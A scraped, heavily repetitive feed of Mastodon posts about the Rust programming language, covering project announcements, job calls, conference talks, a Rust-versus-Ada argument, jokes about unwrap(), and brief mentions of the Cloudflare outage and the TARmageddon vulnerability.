Conjured Ink is seeking out Free and Open Source developer volunteers as part of our Sand Witch Circle. We're looking for experienced engineers who care about fast, resource-efficient software and making the best of the Web Platform as part of our mission to help online creative communities and fight censorship. Professional experience with our tools isn't needed, but a willingness to learn and grow with the organization is.
I’m gonna boost this again cause we really haven’t gotten very many applications but we could really really use the engineering help, esp if you’re an experienced #Rust #RustLang engineer.
We need more help for making @conjured_ink happen—a distributed e-commerce platform for indies that centers creatives and their needs, rather than just funneling them back into more exploitation. We’re also heavily focused on the ability of nsfw creatives to keep doing their work safely, something that is rapidly vanishing.
Open source drive bys are great but having a set of folks who are willing and able to commit to just 5 hours a week would make a world of difference for the project. Please take a look and lmk if you have any questions!
hachyderm.io
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship.
Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
docs.google.com
Conjured Ink is seeking out Free and Open Source developer volunteers as part of our Sand Witch Circle. We're looking for experienced engineers who care about fast, resource-efficient software and making the best of the Web Platform as part of our mission to help online creative communities and fight censorship. Professional experience with our tools isn't needed, but a willingness to learn and grow with the organization is.
I’m gonna boost this again cause we really haven’t gotten very many applications but we could really really use the engineering help, esp if you’re an experienced #Rust #RustLang engineer.
We need more help for making @conjured_ink happen—a distributed e-commerce platform for indies that centers creatives and their needs, rather than just funneling them back into more exploitation. We’re also heavily focused on the ability of nsfw creatives to keep doing their work safely, something that is rapidly vanishing.
Open source drive bys are great but having a set of folks who are willing and able to commit to just 5 hours a week would make a world of difference for the project. Please take a look and lmk if you have any questions!
hachyderm.io
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship.
Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
docs.google.com
Conjured Ink is seeking out Free and Open Source developer volunteers as part of our Sand Witch Circle. We're looking for experienced engineers who care about fast, resource-efficient software and making the best of the Web Platform as part of our mission to help online creative communities and fight censorship. Professional experience with our tools isn't needed, but a willingness to learn and grow with the organization is.
PROJECT SPOTLIGHT 💡
Sprout is a programmable UEFI bootloader written in Rust.
PROJECT SPOTLIGHT 💡
Sprout is a programmable UEFI bootloader written in Rust.
IᑎTᖇO TO ᒪOᑕᗩᒪ-ᖴIᖇᔕT
Thursday December 4 at 17:00 we are welcoming @tbernard to XPUB studio (Wijnhaven 61, Rotterdam) to talk about the state of the emergent local-first and peer-to-peer collaboration ecosystem 👀
🧑💻 After the introduction, we are going to play with Reflection, the GTK-based collaborative text editor he’s developing together with @p2panda 🐼
🆓 Participation is open and free!
All info: https://pzwiki.wdka.nl/mediadesign/Calendars:XPUB/XPUB_Calendar/04-12-2025_-Event_2
#p2p #XPUB #LocalFirst #Reflection #GTK #experimental #experiment #Rust #workshop #lecture #free #Rotterdam #CRDT
Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.
IᑎTᖇO TO ᒪOᑕᗩᒪ-ᖴIᖇᔕT
Thursday December 4 at 17:00 we are welcoming @tbernard to XPUB studio (Wijnhaven 61, Rotterdam) to talk about the state of the emergent local-first and peer-to-peer collaboration ecosystem 👀
🧑💻 After the introduction, we are going to play with Reflection, the GTK-based collaborative text editor he’s developing together with @p2panda 🐼
🆓 Participation is open and free!
All info: https://pzwiki.wdka.nl/mediadesign/Calendars:XPUB/XPUB_Calendar/04-12-2025_-Event_2
#p2p #XPUB #LocalFirst #Reflection #GTK #experimental #experiment #Rust #workshop #lecture #free #Rotterdam #CRDT
Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.
My talk about the #PipeWire native #Rust bindings is up!
https://gstconf.ubicast.tv/videos/rusty-pipes-and-oxidized-wires/
I covered the broad structure of the PipeWire code, how and why I started some native Rust bindings, and some of the painful parts of using Rust as well.
Jump forward to 1:20 to get to the start of the talk :)
gstconf.ubicast.tv
Earlier this year, I began writing a native PipeWire client library in Rust. The aim is to provide a safer alternative to the bindings around the C library, while also reducing the amount of boilerplate in both the library implementation and the user-facing API. Achieving parity with the C API is ...
📢 GStreamer Conference 2025 video recordings are now available at
https://gstconf.ubicast.tv/channels/gstreamer-conference-2025
More than 21 hours of GStreamer!
Many thanks to Ubicast for recording the talks!
#gstreamer #opensource #multimedia #video #streaming #floss #gstconf #gstconf2025
Photo of London during sunrise overlaid with the text "GStreamer conference 2025, 23-24 October 2025, London, UK. Join us!"
My talk about the #PipeWire native #Rust bindings is up!
https://gstconf.ubicast.tv/videos/rusty-pipes-and-oxidized-wires/
I covered the broad structure of the PipeWire code, how and why I started some native Rust bindings, and some of the painful parts of using Rust as well.
Jump forward to 1:20 to get to the start of the talk :)
gstconf.ubicast.tv
Earlier this year, I began writing a native PipeWire client library in Rust. The aim is to provide a safer alternative to the bindings around the C library, while also reducing the amount of boilerplate in both the library implementation and the user-facing API. Achieving parity with the C API is ...
📢 GStreamer Conference 2025 video recordings are now available at
https://gstconf.ubicast.tv/channels/gstreamer-conference-2025
More than 21 hours of GStreamer!
Many thanks to Ubicast for recording the talks!
#gstreamer #opensource #multimedia #video #streaming #floss #gstconf #gstconf2025
Photo of London during sunrise overlaid with the text "GStreamer conference 2025, 23-24 October 2025, London, UK. Join us!"
IᑎTᖇO TO ᒪOᑕᗩᒪ-ᖴIᖇᔕT
Thursday December 4 at 17:00 we are welcoming @tbernard to XPUB studio (Wijnhaven 61, Rotterdam) to talk about the state of the emergent local-first and peer-to-peer collaboration ecosystem 👀
🧑💻 After the introduction, we are going to play with Reflection, the GTK-based collaborative text editor he’s developing together with @p2panda 🐼
🆓 Participation is open and free!
All info: https://pzwiki.wdka.nl/mediadesign/Calendars:XPUB/XPUB_Calendar/04-12-2025_-Event_2
#p2p #XPUB #LocalFirst #Reflection #GTK #experimental #experiment #Rust #workshop #lecture #free #Rotterdam #CRDT
Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.
#rust question: Is Rust's `unwrap()` effectively the Rust equivalent of Swift's ! force unwrapping operator?
Thanks to everyone who helped spread the news last time. Now I'm testing the waters on Reddit... We are still looking for great Rust engineers across several business units at @protonprivacy: https://www.reddit.com/r/rust/comments/1ow6s90/comment/nq0f9tq/
Please upvote and tell your friends about it 🦀
reddit.com
I am once again reminded that I should probably do a better job of letting people know that if they use miette, or things that use miette, you can put NO_GRAPHICS=1 in an env var, and instead of drawing fancy graphical diagnostics, miette will automatically drop into a "narratable" renderer that's optimized for screen readers. The output looks like:
oops!
Diagnostic severity: error
Begin snippet for bad_file.rs starting at line 1, column 1
snippet line 1: source
snippet line 2: text
label at line 2, columns 3 to 6: this bit here
snippet line 3: here
diagnostic help: try doing it better next time?
diagnostic code: oops::my::bad
This works for any tool or library using miette unless they're manually messing with renderer settings and preventing this fallback from happening.
screenshot of a test for the corresponding graphical version of the diagnostic being shown in the toot
Finally, after some months of refining, the "Incremental System Rethought" RFC is out!
This RFC has been through 6 full drafts, 1 conference, 5 months of design and a closed project goal. Go roast it.
github.com
The current model for incremental recompilations doesn't share progress between compiler activities, leading to unnecessary rebuilds. This PR introduces two concepts (target stages and stage de...
Finally, after some months of refining, the "Incremental System Rethought" RFC is out!
This RFC has been through 6 full drafts, 1 conference, 5 months of design and a closed project goal. Go roast it.
github.com
The current model for incremental recompilations doesn't share progress between compiler activities, leading to unnecessary rebuilds. This PR introduces two concepts (target stages and stage de...
BREAKING NEWS: Developer uses "Abort program instead of handling error" function, internet shocked when the program is aborted instead of being handled.
BREAKING NEWS: Developer uses "Abort program instead of handling error" function, internet shocked when the program is aborted instead of being handled.
@michalfita @nullagent idk, after all those arguments I still think that my point holds: If you *really* care about safe software you write it in #Ada *today*, and not in #Rust someday when it will have bounded types, or stable standard, or being able to recompile your project after 10 years. Safety isn't only about memory allocation it is about processes and first and foremost code maintainers. Most Rust evangelists were JS/Java/C++ programmers in the past – aka normies, so they just don't know anything better.
Rust is a *good* language, but cult following around it is just insane. And all those people that heard about safety for the first time from Rust evangelists... sigh.
P.S. Marketing approach of Rust is worth learning – beat a straw man argument, aka Rust is better then C and ignore real competitors.
P.P.S. And about AdaCore what should they do? of course they want to cooperate I don't get the point.
P.P.P.S. MIT license is only good for corporations that want to abuse free work of open source community.
@michalfita @nullagent idk, after all those arguments I still think that my point holds: If you *really* care about safe software you write it in #Ada *today*, and not in #Rust someday when it will have bounded types, or stable standard, or being able to recompile your project after 10 years. Safety isn't only about memory allocation it is about processes and first and foremost code maintainers. Most Rust evangelists were JS/Java/C++ programmers in the past – aka normies, so they just don't know anything better.
Rust is a *good* language, but cult following around it is just insane. And all those people that heard about safety for the first time from Rust evangelists... sigh.
P.S. Marketing approach of Rust is worth learning – beat a straw man argument, aka Rust is better then C and ignore real competitors.
P.P.S. And about AdaCore what should they do? of course they want to cooperate I don't get the point.
P.P.P.S. MIT license is only good for corporations that want to abuse free work of open source community.
@alg0w @nullagent You can write #Rust programs which do not use dynamic allocation, better stick to `!#[no_std]` what embedded systems do.
Grandpa #C as you called it is a grandpa for a reason. Today people leave universities and haven't seen line of code in C. The pool of potential maintainers for that old code is shrinking faster that I type this post.
@michalfita @nullagent And for #Rust they come from webdev... (it is a joke). But my point still holds – people use Rust because it is fashionable, there are plenty of strongly typed languages. Yes Rust was first language that popularized affine type system – and that's good. But handling allocated resources isn't the only thing that is relevant for correctness. In #Ada for example you can write substantial programs without *ever* using dynamically allocated memory. Also in Ada you can have bounded types like an integer from 1 to 10 etc. Also Ada has a specification and is ISO standard. Compiler (gnat) is GPL licensed compared to MIT which is prone to corporate hostile project takeover. I hope you understood my point – Rust fans should compare Rust with some langue within its own league and not beat a grandpa C.
@michalfita @nullagent And for #Rust they come from webdev... (it is a joke). But my point still holds – people use Rust because it is fashionable, there are plenty of strongly typed languages. Yes Rust was first language that popularized affine type system – and that's good. But handling allocated resources isn't the only thing that is relevant for correctness. In #Ada for example you can write substantial programs without *ever* using dynamically allocated memory. Also in Ada you can have bounded types like an integer from 1 to 10 etc. Also Ada has a specification and is ISO standard. Compiler (gnat) is GPL licensed compared to MIT which is prone to corporate hostile project takeover. I hope you understood my point – Rust fans should compare Rust with some langue within its own league and not beat a grandpa C.
Goedemorgen! Onze front-end developer @jhwester heeft een artikel geschreven over formatting en linting in JavaScript.
🏎️ Dit naar aanleiding van zijn ontdekking van Biome, een formatter en linter ineen, gebouwd in Rust. Doordat hij is gebouwd in Rust is hij een behoorlijk stuk sneller dan de klassieke linters.
https://developer.overheid.nl/kennisbank/front-end/formatting-linting
developer.overheid.nl
Bij het ontwikkelen van front-end code is het belangrijk om consistente
@nullagent My personal opinion is #Rust developers aren't serious about security because those same people would've used #Ada before Rust became mainstream, but they haven't. So its pure hype. I'm a big fan of formally verified code and this hype trend is on one hand good – more people are conscious about type safety, but on other hand bad because those very same people tend to completely ignore decades of research on formal program verification.
How many of them know about ATS/Postiats for example or even more mainstream Ada SPARK?
YOU WOULDN'T UNWRAP A RESULT, like the infamous "You wouldn't download a car" PSA that was broadcasted before movies in the 2000s.
@lina In my development workflow, I never use `unwrap` in release builds. I use it for development if I need to do some quick prototyping, but I make sure to do proper error handling as soon as I can. If I must use something like `unwrap` to panic in an irrecoverable state, I'll use `expect` instead, or even the `unreachable` macro if applicable, but I never use `unwrap` in release builds. If the program has to panic, I have to explain *why* the program should panic.
YOU WOULDN'T UNWRAP A RESULT, like the infamous "You wouldn't download a car" PSA that was broadcasted before movies in the 2000s.
YOU WOULDN'T UNWRAP A RESULT, like the infamous "You wouldn't download a car" PSA that was broadcasted before movies in the 2000s.
YOU WOULDN'T UNWRAP A RESULT, like the infamous "You wouldn't download a car" PSA that was broadcasted before movies in the 2000s.
YOU WOULDN'T UNWRAP A RESULT, like the infamous "You wouldn't download a car" PSA that was broadcasted before movies in the 2000s.
YOU WOULDN'T UNWRAP A RESULT, like the infamous "You wouldn't download a car" PSA that was broadcasted before movies in the 2000s.
I can't get over the fact that #Rust invented `Option` to avoid NULL pointers, and then added `unwrap` to it, undoing the whole thing.
As I keep saying, Rust is a language with a ton of subtle but very important features.
But anyways... here's a 3 year old 24 page blog post on how to write "good" Rust and avoid the exact error CloudFlare hit.
It's written by a long time core contributor.
Reading this, its looks to me to be about as hard to write safe Rust code as almost -any- other type safe language. The learning curve however, is very real AND required.
blog.burntsushi.net
I blog mostly about my own programming projects.
It's come to this grey beard's attention today that Cloudflare, one of the largest internet services on the planet, was taken offline worldwide overnight due to a single line of Rust code.
This seems to fall into the exact space where Rust claims to be safer. A real "the compiler should have prevented this" type of bug... yet turns out the compile -CAN- prevent this BUT its a common less than ideal pattern and even the biggest Rust adopters can't get it right.
https://blog.cloudflare.com/18-november-2025-outage/#memory-preallocation
Hey so you wanna work on a cool Rust project? Like an actual webapp that's seriously taking advantage of Rust's abilities not to scale up, but to scale DOWN?
hachyderm.io
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship.
Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
docs.google.com
Conjured Ink is seeking out Free and Open Source developer volunteers as part of our Sand Witch Circle. We're looking for experienced engineers who care about fast, resource-efficient software and making the best of the Web Platform as part of our mission to help online creative communities and fight censorship. Professional experience with our tools isn't needed, but a willingness to learn and grow with the organization is.
Over the last 6 months, two students made some amazing contributions to cargo-semver-checks.
Check out their work and the work of their peers elsewhere in the Rust project in this new post:
https://blog.rust-lang.org/2025/11/18/gsoc-2025-results/
blog.rust-lang.org
Empowering everyone to build reliable and efficient software.
Over the last 6 months, two students made some amazing contributions to cargo-semver-checks.
Check out their work and the work of their peers elsewhere in the Rust project in this new post:
https://blog.rust-lang.org/2025/11/18/gsoc-2025-results/
blog.rust-lang.org
Empowering everyone to build reliable and efficient software.
Who would like Rust in CPython 3.15?
@emmatyping and Kirill Podoprigora "propose introducing the Rust programming language to CPython. Rust will initially only be allowed for writing optional extension modules, but eventually will become a required dependency of CPython and allowed to be used throughout the CPython code base."
https://discuss.python.org/t/pre-pep-rust-for-cpython/104906
discuss.python.org
Introduction We (@emmatyping, @eclips4) propose introducing the Rust programming language to CPython. Rust will initially only be allowed for writing optional extension modules, but eventually will become a required dependency of CPython and allowed to be used throughout the CPython code base. Motivation Rust has established itself as a popular, memory-safe systems programming language in use by a large number of projects. Memory safety is a property of a programming language which disallows ou...
Unofficial "Tier 4" Rust Target for older Windows versions
Link: https://github.com/rust9x/rust
Discussion: https://news.ycombinator.com/item?id=45960852
news.ycombinator.com
Nouvelle version de TimeTodo !
TimeTodo est une appli open-source de gestion de tâches et de #timetracking développée en #rust et disponible sur toutes les plateformes desktop (et mobile bientôt, j'espère).
Au programme de cette version :
- un meilleur affichage sur petits écrans
- des améliorations Ux
- des corrections de bugs...
Le code est dispo sur @Codeberg et les releases pour chaque OS sont téléchargeables ici :
https://codeberg.org/withmu/timetodo/releases/tag/03.1
Catpure d'écran de l'application TimeTodo. On voit des tâches à faire dans la catégorie en retard. Les jours à venir n'ont pas de tâches indiquées. Sur la colonne de droite, on voit une liste de projets (les noms sont floutés)
Nouvelle version de TimeTodo !
TimeTodo est une appli open-source de gestion de tâches et de #timetracking développée en #rust et disponible sur toutes les plateformes desktop (et mobile bientôt, j'espère).
Au programme de cette version :
- un meilleur affichage sur petits écrans
- des améliorations Ux
- des corrections de bugs...
Le code est dispo sur @Codeberg et les releases pour chaque OS sont téléchargeables ici :
https://codeberg.org/withmu/timetodo/releases/tag/03.1
Catpure d'écran de l'application TimeTodo. On voit des tâches à faire dans la catégorie en retard. Les jours à venir n'ont pas de tâches indiquées. Sur la colonne de droite, on voit une liste de projets (les noms sont floutés)
Who would like Rust in CPython 3.15?
@emmatyping and Kirill Podoprigora "propose introducing the Rust programming language to CPython. Rust will initially only be allowed for writing optional extension modules, but eventually will become a required dependency of CPython and allowed to be used throughout the CPython code base."
https://discuss.python.org/t/pre-pep-rust-for-cpython/104906
discuss.python.org
Introduction We (@emmatyping, @eclips4) propose introducing the Rust programming language to CPython. Rust will initially only be allowed for writing optional extension modules, but eventually will become a required dependency of CPython and allowed to be used throughout the CPython code base. Motivation Rust has established itself as a popular, memory-safe systems programming language in use by a large number of projects. Memory safety is a property of a programming language which disallows ou...
Who would like Rust in CPython 3.15?
@emmatyping and Kirill Podoprigora "propose introducing the Rust programming language to CPython. Rust will initially only be allowed for writing optional extension modules, but eventually will become a required dependency of CPython and allowed to be used throughout the CPython code base."
https://discuss.python.org/t/pre-pep-rust-for-cpython/104906
discuss.python.org
Introduction We (@emmatyping, @eclips4) propose introducing the Rust programming language to CPython. Rust will initially only be allowed for writing optional extension modules, but eventually will become a required dependency of CPython and allowed to be used throughout the CPython code base. Motivation Rust has established itself as a popular, memory-safe systems programming language in use by a large number of projects. Memory safety is a property of a programming language which disallows ou...
I've launched a new open source project:
https://github.com/medusalix/FreeMDU
FreeMDU provides open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface.
More details about the project will be presented at the 39th Chaos Communication Congress as part of the talk "Hacking washing machines".
github.com
Open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface - medusalix/FreeMDU
Boa: A standard-conforming embeddable JavaScript engine written in Rust
github.com
Boa is an embeddable Javascript engine written in Rust. - boa-dev/boa
Boa: A standard-conforming embeddable JavaScript engine written in Rust
github.com
Boa is an embeddable Javascript engine written in Rust. - boa-dev/boa
Love it when a near complete project just appears out of nowhere.
"Brimstone is a JavaScript engine written from scratch in Rust, aiming to have full support for the JavaScript language.
Brimstone is a work in progress but already supports almost all of the JavaScript language (>97% of the ECMAScript language in test262). Not ready for use in production."
github.com
New JavaScript engine written in Rust. Contribute to Hans-Halverson/brimstone development by creating an account on GitHub.
Love it when a near complete project just appears out of nowhere.
"Brimstone is a JavaScript engine written from scratch in Rust, aiming to have full support for the JavaScript language.
Brimstone is a work in progress but already supports almost all of the JavaScript language (>97% of the ECMAScript language in test262). Not ready for use in production."
github.com
New JavaScript engine written in Rust. Contribute to Hans-Halverson/brimstone development by creating an account on GitHub.
The hard part of #Rust is trying to simultaneously have hard to misuse APIs and no additional performance penalty (however small). If you relax either of those goals (is it really a problem if you call that method through a v-table? Is using interior mutability for that config flag going to affect anything?), then #RustLang becomes much easier to write.
The hard part of #Rust is trying to simultaneously have hard to misuse APIs and no additional performance penalty (however small). If you relax either of those goals (is it really a problem if you call that method through a v-table? Is using interior mutability for that config flag going to affect anything?), then #RustLang becomes much easier to write.
So I started a new project to transpile #django templates into JS script so you can render them both on server and client side : https://github.com/christophehenry/django-template-transpiler
The rationale is that there are situation where you can't afford HTTP queries to render parts of the UI with something like #HTMX. With that, you can render them everywhere using a single source of truth.
It is written in #Rust and heavily based on django-rusty-templates.
I'm looking forward to hear your feedback on this
github.com
Contribute to christophehenry/django-template-transpiler development by creating an account on GitHub.
Yay, the embargo was finally lifted yesterday so we can talk about the UK Government funding for #CHERIoT!
They funded us (SCI) to do two projects, for a total of £7.7M:
ukri.org
Advanced cyber protections will be embedded into the digital systems that power everything from critical infrastructure to consumer electronics.
Yay, the embargo was finally lifted yesterday so we can talk about the UK Government funding for #CHERIoT!
They funded us (SCI) to do two projects, for a total of £7.7M:
ukri.org
Advanced cyber protections will be embedded into the digital systems that power everything from critical infrastructure to consumer electronics.
"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."
https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html?m=1
security.googleblog.com
Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...
"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."
https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html?m=1
security.googleblog.com
Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...
"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."
https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html?m=1
security.googleblog.com
Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...
"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."
https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html?m=1
security.googleblog.com
Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...
I've coded in C / C++ / Java / Python / JS and anything else needed to get the job done.
I have never heard any group of devs so quickly dismiss security concerns about their ecosystem as rapidly as Rust devs.
YES the language IS type safe and that's a big value add.
But that value add can quickly be cancelled out without significant attention to detail.
The EXACT same attention to detail I code with in C / C++ / Java / Python / JS etc.
This time, is not different.
So what were my cautions about Rust?
1. Be careful re-writing old stuff. You will repeat all the 30yr old logic bugs bc Rust is memory safe NOT provable correct.
2. Ppl-power. Lots of rewrites IS dividing our ppl-power. Be mindful of unmaintained core components
3. Vibe coded Rust is just as dangerous as any other language
4. Rust still can be used in memory unsafe ways. You actually have to audit the code to know if they did Rust right.
Was just going on a grey-beard rant about how Rust give developers a false sense of security.
I didn't even notice the TARMageddon vulnerability until now and well this grey beard really only can say "told you so".
This is -precisely- the class of bugs I was describing, and -exactly- due to the reasons I outlined.
The blast radius of this thing is also freaking epic, almost anything that used tar in Rust is vulnerable to possible RCEs lmao.
edera.dev
Edera uncovers TARmageddon (CVE-2025-62518), a Rust async-tar RCE flaw exposing the real dangers of open-source abandonware and supply chain security.
This is a reminder to everyone that security is more than just memory safety. https://www.phoronix.com/news/sudo-rs-security-ubuntu-25.10
phoronix.com
Added a new rustc lint which will hopefully prevent a lot of very wrong casts: function_casts_as_integer.
In short, if you convert a function to an integer, it will now warn.
Why? Because of cases like:
let _ = [0; u8::max as usize];
u8::max is a function, not a constant (u8::MAX is the constant). Now you get a surprising amount of allocation (and potentially different) every time. :)
So many potential other cases where the end code is NOT the expected one. Well, not anymore!
github.com
The function_casts_as_integer lint detects cases where users cast a function pointer into an integer. warn-by-default Example fn foo() {} let x = foo as usize; warning: casting a function into an i...
My app, Typesetter, is now available on Flathub! It's a local-first editor for Typst (a markup language combining the simplicity of Markdown with the power of LaTeX), featuring a minimal interface, live preview, and click-to-jump between source and preview. It's still in early development, but I'd love feedback if you try it out.
Flathub: https://flathub.org/apps/details/net.trowell.typesetter
Codeberg: https://codeberg.org/haydn/typesetter
#Typst #GNOME #GTK #Flatpak #Flathub #Rust
This is a reminder to everyone that security is more than just memory safety. https://www.phoronix.com/news/sudo-rs-security-ubuntu-25.10
phoronix.com
Added a new rustc lint which will hopefully prevent a lot of very wrong casts: function_casts_as_integer.
In short, if you convert a function to an integer, it will now warn.
Why? Because of cases like:
let _ = [0; u8::max as usize];
u8::max is a function, not a constant (u8::MAX is the constant). Now you get a surprising amount of allocation (and potentially different) every time. :)
So many potential other cases where the end code is NOT the expected one. Well, not anymore!
github.com
The function_casts_as_integer lint detects cases where users cast a function pointer into an integer. warn-by-default Example fn foo() {} let x = foo as usize; warning: casting a function into an i...
I used to teach at KAIST and this is a great development from their CS folks -- provably correct translation from C to Rust.
https://news.kaist.ac.kr/newsen/html/news/?mode=V&mng_no=54270
news.kaist.ac.kr
사이트 설명을 간략히 기록 해주세요.
cargo clean 🫠
My app, Typesetter, is now available on Flathub! It's a local-first editor for Typst (a markup language combining the simplicity of Markdown with the power of LaTeX), featuring a minimal interface, live preview, and click-to-jump between source and preview. It's still in early development, but I'd love feedback if you try it out.
Flathub: https://flathub.org/apps/details/net.trowell.typesetter
Codeberg: https://codeberg.org/haydn/typesetter
#Typst #GNOME #GTK #Flatpak #Flathub #Rust
First rough prerelease of @conjured_ink 's eshop software is up on codeberg: https://codeberg.org/conjured/silverfish/releases/tag/v0.0.1
It's so tiny. That's the whole binary. There's no external dependencies. There's only a single binary in it, and it has both the database and the job queue software embedded right in it.
For folks familiar with hosting mastodon: Imagine if that was literally your hosting experience, and the entire thing barely used 80mb to serve thousands of requests per second on a single-core vm. No need to set up and manage mysql, or sidekiq. You just run the executable.
Silverfish (what we're calling this tiny thing) is still in very early stages and only really has a CMS with custom theming support so far, but new features are rapidly being added, and the guts of the thing are really featureful, with light/dark theme support, i18n, and a literal 1kb JS bundle where the entire admin interface works with JS completely disabled and is still super snappy.
I'm very excited
#ConjuredInk #IndieWeb #SmallWeb #ECommerce #Rust #RustLang #Axum
codeberg.org
Auto-generated by https://codeberg.org/conjured/silverfish/actions/runs/363 ## Changelog This is an initial release, largely for the sake of testing our releases. It contains the basics of a stall, including the ability to create custom pages. ## Checksums * sha-256 57319fe64e4fb41045...
I'm thinking of getting a real job after years of freelancing. (The stress and overhead isn't worth it with a toddler, I'd rather have it calm.)
If you know someone who needs a #Swiftlang dev with 10+ years of experience, macOS and iOS, also some C and #Rust, who can self-manage and also manage-manage and act as product owner etc. (I'm also an indie with the full spectrum of experience), do share!
Thanks 🙏
I'm thinking of getting a real job after years of freelancing. (The stress and overhead isn't worth it with a toddler, I'd rather have it calm.)
If you know someone who needs a #Swiftlang dev with 10+ years of experience, macOS and iOS, also some C and #Rust, who can self-manage and also manage-manage and act as product owner etc. (I'm also an indie with the full spectrum of experience), do share!
Thanks 🙏
Hey folks, my (unofficial) Rust SDK for TelemetryDeck was recently updated with support for the v2 API, floatValue and some handy helpers for the built-in event and parameter names. It’s no longer focused on WASM and supports plain Rust programs! https://crates.io/crates/telemetrydeck-wasm #Rust #TelemetryDeck
Hey folks, my (unofficial) Rust SDK for TelemetryDeck was recently updated with support for the v2 API, floatValue and some handy helpers for the built-in event and parameter names. It’s no longer focused on WASM and supports plain Rust programs! https://crates.io/crates/telemetrydeck-wasm #Rust #TelemetryDeck
Debian's APT will soon begin requiring Rust: Debian Ports need to adapt or be sunset - Post by Debian developer Julian Andres Klode #Debian #Rust https://lists.debian.org/deity/2025/10/msg00071.html
lists.debian.org
Debian's APT will soon begin requiring Rust: Debian Ports need to adapt or be sunset - Post by Debian developer Julian Andres Klode #Debian #Rust https://lists.debian.org/deity/2025/10/msg00071.html
lists.debian.org
New pattern shamefully unlocked! 🏆
All this time and I kept using
".unwrap()" in my async blocks... 🐒
...Whereas specifying the *return type* allows you to propagate errors with "?" 😯
async {
my_func()?;
Result::<(),std::io::Error>::Ok(())
}
What other great patterns did I just miss along the #rust journey? 🙈😆
New pattern shamefully unlocked! 🏆
All this time and I kept using
".unwrap()" in my async blocks... 🐒
...Whereas specifying the *return type* allows you to propagate errors with "?" 😯
async {
my_func()?;
Result::<(),std::io::Error>::Ok(())
}
What other great patterns did I just miss along the #rust journey? 🙈😆
After several weekends of being stymied I finally have the second thread reconciliation running. I might have even learned something! MPSC channels fell soon after.
Two hurdles remain: cluster node scaling implementation (which means *actually* understanding the thread data sharing enough to not just be hacking at it), and adding somehow an HTTP service (other than the gRPC one) - for the Prometheus metrics.
It seems like the easiest way to ship a library with both async and sync logic is to write the logic async, and require tokio to block for the sync version.
That seems backwards to force a project that has no technical need for tokio (not using async) to pull in such a heavy dependency.
What are the other options, besides not trying to re-use code and writing it twice? #rust #rustlang
Unfortunately, we were not able to raise the necessary funds and thus will have to shut down Acter and its matrix sever (for now): https://acter.global/news/we-are-shutting-down-acter-app-and-service-by-february-2026/
*Fortunately* for you that means I am available for some freelance #rust engineering work again, part-time for now as things still require my attention at times. #fedihire
I can help from building SDKs to entire Apps in Rust (currently playing with #gpui ), architect, debug, profile, educate, teach and lead. Most of my 18+ years I've spent with #decentralization #privacy #encryption and #offlineFirst . If any of that is of interest to your, hit me up. Either here or via any of the contacts on my website (which also has a CV and project overview): https://GNUnicorn.org
Retoots appreciated ❤️ !
gnunicorn.org
Independent OpenSource Software Architect and Developer I design, build and supervise the building of software (systems). Sometimes for clients, often times on my own, whenever possible as OpenSource. I care about good design in both, the User Experience and backend architecture and infrastructure. Sometimes I write about some of this stuff.
don't mind me, just rendering some mir.
#rust
A large graph showing the MIR of a small Rust program, rendered using iongraph in the browser.
In rustdoc search, when using macro filter, it will now include attribute and derive macros as well.
github.com
As discussed here, some filters should have been "grouped". This PR allows attribute and derive macros to match the macro filter. I'll wait for #148005 to add more tests as it would r...
In rustdoc search, when using macro filter, it will now include attribute and derive macros as well.
github.com
As discussed here, some filters should have been "grouped". This PR allows attribute and derive macros to match the macro filter. I'll wait for #148005 to add more tests as it would r...
Hi #Rust developers! My Calendar team at @protonprivacy is #hiring! We are looking to fill several positions at our offices in #Barcelona, #Geneva, and #london
